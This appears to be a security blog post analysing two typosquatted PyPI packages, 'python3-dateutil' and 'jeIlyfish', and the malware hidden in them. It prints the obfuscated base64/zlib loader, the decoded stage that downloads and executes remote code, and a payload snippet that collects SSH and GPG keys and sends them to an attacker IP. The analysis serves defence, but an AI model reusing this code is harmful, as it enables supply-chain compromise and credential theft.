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Typosquatting in Python Repositories

Python's popularity is amazing and constantly growing. For the first time, Python has overtaken Java to take second place in GitHub general rankings. The more developers use that language in their projects, the more they enjoy the interest of cybercriminals using typosquatting tactics in library names. Thanks to Lukas Martini's recent finding,  two packages were removed from PyPi (Python Package Index) repository (perhaps the 'pip' command is more familiar to most of you).

The malicious library 'python3-dateutil' was placed in the repository just a few days ago (11.29.2019) and was downloaded 381 times in total before being spotted. Not a bad score for two days of availability. The second library is 'jeIlyfish'. Despite the fact that it was uploaded at least a half year ago, the number of downloads is similar for this period. The "typosquatting" consisted of replacing the first letter 'l' with an uppercase 'i' in the word 'jellyfish'. The library name 'python3-dateutil' pretended to be the legit 'python-dateutil' package with just the 'python3' prefix. The two libraries were created by the same person called 'olgired2017' - also used for the GitLab account.

Both files contained the same malicious code:

ZAUTHSS = ''
ZAUTHSS += 'eJx1U12PojAUfedXkMwDmjgOIDIyyTyoIH4gMiooTmYnQFsQQWoLKv76rYnZbDaz'
ZAUTHSS += 'fWh7T849vec294lXexEeT0XT6ScXpawkk+C9Z+yHK5JSPL3kg5h74tUuLeKsK8aa'
ZAUTHSS += '6SziySDryHmPhgX1sCUZtigVxga92oNkNeqL8Ox5/ZMeRo4xNpduJB2NCcROwXS2'
ZAUTHSS += 'wTVf3q7EUYE+xeVomhwLYsLeQhzth4tQkXpGipPAtTVPW1a6fz7oa2m38NYzDQSH'
ZAUTHSS += 'hCl0ksxCEz8HcbAzkDYuo/N4t8hs5qF0KtzHZxXQxBnXkXhKa5Zg18nHh0tAZCj+'
ZAUTHSS += 'oA+L2xFvgXMJtN3lNoPLj5XMSHR4ywOwHeqnV8kfKf7a2QTEl3aDjbpBfSOEZChf'
ZAUTHSS += '9jOqBxgHNKADZcXtc1yQkiewRWvaKij3XVRl6xsS8s6ANi3BPX5cGcr9iL4XGB4b'
ZAUTHSS += 'BW0DeD5WWdYSLqHQbP2IciWp3zj+viNS5HxFsmwfyvyjEhbe0zgeXiOIy785bQJP'
ZAUTHSS += 'FaTlP1T+zoVR43anABgVOSaQ0kYYUKgq7VBS7yCADQLbtAobHM8T4fOX+KwFYQQg'
ZAUTHSS += '+hJagtB6iDWEpCzx28tLuC+zus3EXuSut7u6YX4gQpOVEIBGs/1QFKoSPfeYU5QF'
ZAUTHSS += 'MX1nD8xdaz2xJrbB8c1P5e1Z+WpXGEPSaLLFPTyx7tP/NPJP+9l/QteSTVWUpNQR'
ZAUTHSS += 'ZbDXT9vcSl43I5ksclc0fUaZ37bLZJjHY69GMR2fA5otolpF187RlZ1riTrG6zLp'
ZAUTHSS += 'odQsjopv9NLM7juh1L2k2drSImCpTMSXtfshL/2RdvByfTbFeHS0C29oyPiwVVNk'
ZAUTHSS += 'Vs4NmfXZnkMEa3ex7LqpC8b92Uj9kNLJfSYmctiTdWuioFJDDADoluJhjfykc2bz'
ZAUTHSS += 'VgHXcbaFvhFXET1JVMl3dmym3lzpmFv5N6+3QHk='
ZAUTHSS = base64.b64decode(ZAUTHSS)
ZAUTHSS = zlib.decompress(ZAUTHSS)
if ZAUTHSS:
    exec(ZAUTHSS)

Obfuscated code (base64 + zlib compression) was added to original code and published as fake library clone. Deobfuscated code looks as follows:

>>> ZAUTHSS = base64.b64decode(ZAUTHSS)
>>> ZAUTHSS = zlib.decompress(ZAUTHSS)
>>> print(ZAUTHSS.decode('utf-8'))
# 68cpHJ0GPAhw4tu1GrpiVEiCSrjspJwmBg
# 65sogl50g9GPOgIBl32m8sbosVpL1EN01oEWf7NBhSFA0evVVAqDbcPEHGRUc1nEIepPo
# XaxmRzxrP6dDJptFJhnorGe8O0FiCOb418EjphaUN9V9RuDYvkDT1ZOVTK9dakh
# 3hlLfIYmdgaZEf9HtcvHZOlNpHJtPupApv6dshPHyc0qjy
# NyhQQUrdcE4YBAeoznpXdPwa9ZwzKeRQS2
# sCzmadXCDq71YF4YTPWarY1ZBW6WfAEberC2wiKsDappasasB4S
import re,sys,os
_out,_err=sys.stdout,sys.stderr
sys.stdout,sys.stderr=open(os.devnull,'wb'),open(os.devnull,'wb')
try:
	try:from urllib2 import urlopen
	except:from urllib.request import urlopen
	exec(zlib.decompress(base64.b16decode(re.sub(
		r'[^0-9abcdef]','',urlopen('http://bitly.com/25VZxUbmkr').read().decode('utf-8'),flags=re.MULTILINE
	)[4:-4].upper())))
except:pass
sys.stdout,sys.stderr=_out,_err
# eUL2G6011jP02diDqXmLh7WF2rOmU0GY
# MzXRhCmgHVyfgsHvaslOcy6fx3nU2Pxtf3E7Rh8fjGon4YE8jlNAPb15wjlTL9cdL6
# Y296
# 2RYF9kVmDKJppFnNoVCE2pkX6jfGuPzfGyvNMefeyUOR5UjUdHAKF6Q1jI
# XI2b82DLI4ft9f
# dfzjpCyfYh3v9GPudUPPXoDW0Scsq1s4mZNgGjVM43GX2
>>>

Between two comments sections (extra obfuscation?) the ‘urllib2’ collects additional data. The URL 'http://bitly.com/25VZxUbmkr' redirects to the author’s GitLab page 'http://gitlab.com/olgired2017/aeg_wandoo_dag_m3/raw/master/hashsum', which gets the proper Python payload named 'hashsum' (not available anymore). According to bitly.com statistics, the link has been visited at least 740 times. The purpose of the second stage is to collect a list of files located in the home directory (as well as Documents, Downloads, and PycharmProjects). More severe, this stage also collects any GPG and SSH keys.

Deobfuscated snippet of payload ‘hashsum’:

home = os.path.expanduser("~")
if os.path.exists(home):
	data.add(home)
	data.add('\n   ###  1 ls home')
	data.add('\n   '.join(list_dir(home)))
	data.add('\n   ### 2 ls Documents')
	data.add('\n   '.join(list_dir(os.path.join(home, 'Documents'))))
	data.add('\n   ### 3 ls Downloads')
	data.add('\n   '.join(list_dir(os.path.join(home, 'Downloads'))))
	data.add('\n   ### 4 ls PycharmProjects')
	data.add('\n   '.join(list_dir(os.path.join(home, 'PycharmProjects'))))
	data.add('\n   ### 5 save home files')
	save_files(home)
	data.add('\n   ### 6 save .ssh files')
	save_files(os.path.join(home, '.ssh'))
	data.add('\n   ### 7 save gpg keys')
	save_files(os.path.join(home, '.gnupg'))
	data.add('\n   ### 8 save target')
	save_file(os.path.join(home, 'Downloads/ITDS-2018-10-15-DRACO_SRV1-362.pfx'))
	data.add('\n   ### 9 end :)')
data.add(requests.get('http://ifconfig.co/json').text)
requests.post(
	'http://68.183.212.246:32258',
	data=json.dumps({'my3n_data': data.dump}, default=lambda v: str(v)),
	headers={"Content-type": "application/json"})

The attacker collects some information about the victim’s connection (like IP, country, etc.) by visiting URL ‘http://ifconfig.co/json’. The prepared data is then sent to the specified address ‘http://68.183.212.246:32258’. That shows that the intention of the attacker was to get access to selected project repositories (using GPG and SSH keys) after reviewing the contents of the victim's local directories.

It’s recommended that project owners verify that their projects with these libraries use the correct names. If it happens that the used library is accidentally the typosquatted version, it’s advised to change all SSH and GPG keys immediately.

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